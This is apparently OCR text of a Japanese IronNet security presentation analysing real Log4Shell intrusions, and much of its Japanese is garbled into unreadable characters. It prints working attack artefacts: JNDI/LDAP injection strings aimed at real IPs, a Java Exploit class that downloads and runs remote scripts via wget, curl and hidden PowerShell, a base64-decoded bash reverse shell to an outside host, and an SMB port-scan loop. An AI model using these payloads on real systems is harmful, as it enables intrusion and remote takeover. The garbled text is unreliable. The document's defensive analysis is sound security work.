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reflect the official policy or position of any current or past employer.

Be sure to consult with appropriate technical, management, and legal
advisors before implementing or performing any such acitivities.
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Logdj D551 RIEDIKER &

Logdj& 3T H ?
Log4jld. Apache Software Foundation (ASF) (C& - THFFS N TWBlavaBDA4—7 >y —XBF > JAPITT,
Logdjl3BM L FERAMEICT 22— FT, ¥Y—N"—PHEIL LT -7 T—HRPUIERINTVET,

AP >F-DTThH., BEZNWHIPEELOTTH?
2021E12H9H. Alibaba Cloud Security Team®ChenZhaojunlZ, AX%7 — LMinecraftd /N7 /7> 7 4 7077 L TLogdjDHE55 14 % &
MIZFERLE L7, LogdjRTCVSSX a7 $'10.00 Y E— k23— KE{T (RCE) DiEssH (CVE-2021- 44228) MEEESNE LT,

I OULWTIE, TLogdHEBEDRUMICERT HIEELRY FT—I FZ 74 v DEH] Z5HB LTSS,
https://www.ironnet.com/blog/detecting-anomalous-network-traffic-resulting-from-a-successful-log4j-attack
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SNFHTATL, X=FF—%y FT7—=7RTlronNet B DITEIN M ZFERL T, BED N7 74 v 7 ESMBRF ¥ UHARETH
2N - BHIN, BINONYT 4 AL TIThNLTWLWE T,

IronNetlZED &S IcEEFHRZFRELELED?
lronNetid, LogdlDfEsEM %25 Ba2MOEVWAHETCREEAETEEZITVE L, YHORBF—L, BE/ NV X—, TIEE.
BLOtEFa VT EBFOHFEMARISOKRIGH SHFBRECHERICERIATEB N L 7=,

CDETHATIE, LogdjlcDWTSAET HIHENH LN, TLTINODMEBEMHEICEAL TRHEMAEHEIRENZEZFTTLENTEET,
https://vimeo.com/659787936/b445ba5a53
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Chbld, BRASLVERANEC o-ROEHICEHEYT 2EBEZIOCTRET 57T,

COXFF, TNV T TAERERETASEHICATRAT— AV MDTONT + Z5HE L TEEHZ HLogdDHEELEFIAL LS & LET,

/${indi:1ldap://45[.183[.]193[.]150:1389/Exploit}
B=1EEERA

12A138., BN ERET IBEET R I L TERRREETIHIEICEIPBEERIITVDTAEXAT
BEENERICELINTVWEWI EERIIENTEELL.

Ot RICIREDJavalRBw
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Frame 21: 148 bytes on wire (1120 bits), 140 bytes captured (1120 bits)

Ethernet II, Src O
Internet Protocol Version 4, Src: , Dst: 107.181.187.184
Transmission Control Proteocol, Src Port: 39596, Dst Port: 389, Seq: 541446839, Ack: 2741670566, Len: 86
Lightweight Directory Access Protocol
~ LDAPMessage searchRequest(2) Victim Owned I 1443" baseObject
messagelD: 2
~ protocolOp: searchRequest (3)
v searchRequest
baseObject:  Victim Owned IP 1443
scope: baseObject (@)
derefAliases: derefAlways (3)
sizeLimit: ©
timeLimit: @
typesOnly: False
> Filter: (objectClass=x)
attributes: @ items
v controls: 1 item
Control ®

107.181.187[.]184

2021$ 128 15H
B DORAMITEFICINDI/LDAPY 7 T X bZ P UH—LE LA, YE—FI—FOEFTLENDOY E— FHIEIOAFITERK,
. Q@B—I,‘\\’Ch\if;TfT—.—@LDAPT— F389IC/ISEZLTWET, LDAPY XA L 7 X —I|3IR7EVirusTotal CEME L L THIEA I N T WAL -T2,
e ERICENIY—N—ICL Y IEESINITRDOLDAPEIE L 'searchRequest’ /X7 v h&H&ATH Y, Thld'baseObject’ /X5 X — & —DIE|Z
%%®ﬁﬁtiU%Eéﬂfb%%%P FLX72o7=,




@ 3 security vendors flagged this IP address as malicious

3

/90
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% Community o

Score

107.181.187.184

AS 204957 (Green Floid LLC)

CA
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Logdshell D 1T

IronNet

GET /index.html

7 EROY—/—
Host: victim.com

User-Agent: ${jndi:ldap://attacker.com/reference} https://victim.com

|

q 3 LDAP query: Idap://intruder.com/reference public class Exploit { static { try { String[] var0 = new String[[{"/bin/bash", "-c", "(wge
o -qO - http://18[.]228][.]7[.]109/.log/log || curl http://18[.]228[.]7[.]109/.log/log) | sh"}; if
Idap://intruder.com 4 LDAP response: http://attacker.com/malicious.class (System.getProperty("os.name").toLowerCase().startsWith("win")) { var0 = new
String[){"powershell", "-w", "hidden", "-c", "(new-object
System.Net.WebClient).DownloadFile(‘http://172[.]105[.]241[.]146:80/wp-
content/themes/twentysixteen/s.cmd', $env:temp + '/s.cmd');start-process -FilePatt
's.cmd' -WorkingDirectory $env:tmp"}; } Runtime var1 = Runtime.getRuntime();
Process var2 = var1.exec(var0); var2.waitFor(); } catch (Exception var3) {}}}

http://attacker.com

"" _getClass () .forName ("javax.script.ScriptEngineManager") .newlInstance (

) .getEngineByName ("JavaScript") .eval ("var bytes =
org.apache.tomcat.util.codec.binary.Base64.decodeBase64 (

2021-";—-" 128 15H 14f%
WEBDLDAPY —N—LI5ED A/ O— FOFRTldapD 2B %2ER L TINDIOSBAZEZEJavan A 7> 27 b7 X7 74L& LTRE,
e BasefdTIrya—RaENhTWBlavaZ 7 X% 72— KL TOSOZ v/ s—%FBEL. MUH L,
e« “OH®MJava® ¥ 7 X(FBasebdT v O—KFKEN/-=D2HDJavay 7 A &G A TWWT=,
s PMTIHZIDYI ZIRT7AINDEITICKK L0, UE—=FT7 72X LB -2 %2R LT

https://www.ironnet.com/blog/anatomy-of-a-log4j-attack




Log4shell®it1T3
WEENZI(TEL -BasebdT—4

dW5zZXQgSE1TVEZJTEU7IGIJhc2ggLWkgPiYgL2R1di90Y3AvMzQuMTAYLjUOLIE1Mi8OND
MgMD4mMQ==

Fa—KLEARSR
unset HISTFILE; bash -i >& /dev/tcp/34.102.54.152/443 0>&l

2021$ 12AF 16H 108 (UTC)
BH|ibasebdD T — X ZINDIXFIEHD—EE L TEITTH7-HICZITEL T,
. 7?/74 vavwy NFmENAE Y N—ITCPY LT, WEEAD Y FO—ILTBIPT7 KL X34.102.54[.]152% 443 — ~ ETREOH L 7=,
. Z@ﬁ&@i@@%ﬁ—N—LTU%—FJ-P@%ﬁﬁi B L =,
o UNR=—ZAVIIIIHWEEDY —N=—DLEZH 55 - 6l (C2) b—"—~DEHEEELL -,
o BUHDOC2U—N=0DIPT7 FLRXH F7, REFELZARPITIEVirusTotal THEA TN H - 7=,

b3 e
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1o %0,

FRX MEHRDIIE

WEEIL TunsetHISTFILE | aAXY Y REFERT A ETUIIIDERMMILEHRINEGWNE S ICBERZESEL -,
H—N—DERICEASN TN ZRBHEE=OICVRATLADI—HF—DREOOTA VDB RE EELT-.
WEEHIRIZKRR FQarpT—IILEZVTL., FOMDY—/IN—OIT Y FiRA Y FMZHEED Y —/N\— AT AA[REMN T HESE,
HEEEIRY FT—VKHNTOY—N—DHBEZHEZEL. TDT7I9TA4TTALI F)—FAAL DEEZEMITETE

RAA UIREDRITESMBIZH L TOR—FXF ¥ vB—B7 714 ILDOIERK,

SMBDEENLELE L 7=A TN DEEHAEAD S 2ERLIANICEB S N7,

for i in {0..10}; do for a in {0..255}; do (./pscan 10.%i.%a.0
10.%$1.%a.255 445 &); done; done

~ » for i in {0..10}; do for a in {0..255}; do (echo "./pscan
10.%1i.%a.0 10.%i.%a.255 445"); done; done

./pscan 10.0.0.0 10.0.0.255 445
./pscan 10.0.1.0 10.0.1.255 445
./pscan 10.0.2.0 10.0.2.255 445
./pscan 10.0.3.0 10.0.3.255 445
./pscan 10.0.4.0 10.0.4.255 445
./pscan 10.0.5.0 10.0.5.255 445
./pscan 10.0.6.0 10.0.6.255 445
v 10.0.7.0 10.0.7.255 445 i J
./pscan 10.0.9.0 10.0.9.255 445

./pscan 10.10.250.
./pscan 10.10.251.
./pscan 10.10.252.
./pscan 10.10.253.
./pscan 10.10.254.
./pscan 10.10.255.

10.10.250.255 445
10.10.251.255 445
10.10.252.255 445
10.10.253.255 445
10.10.254.255 445
10.10.255.255 445

O O O O O O

https://www.ironnet.com/blog/anatomy-of-a-log4j-attack
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“One of the besi practices | have seen in ierms of educating direciors and helping them undersiand their specific
risk profile is having the CISO talk through the big breaches in the news mosi recenily and walking the
directiors through the MITRE ATT&CK® Framework to explain how they happened and how prepared their
company is io deal with that iype of threati.”

—-JAN TIGHE, RETIRED VICE ADMIRAL, FORMER DEPUTY CHIEF OF NAVAL
OPERATIONS FOR INFORMATION WARFARE AND DIRECTOR, NAVAL
INTELLIGENCE, US NAVY

Watch the on-demand webinar featuring Vice Admiral (Ret.) Tighe:
“From the top down: Why every board of directors needs to address cybersecurity”
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ANY QUESTIONS?
" HlElldal = IH ¢

fuminori.ikegawa@ironnetcybersecurity.com
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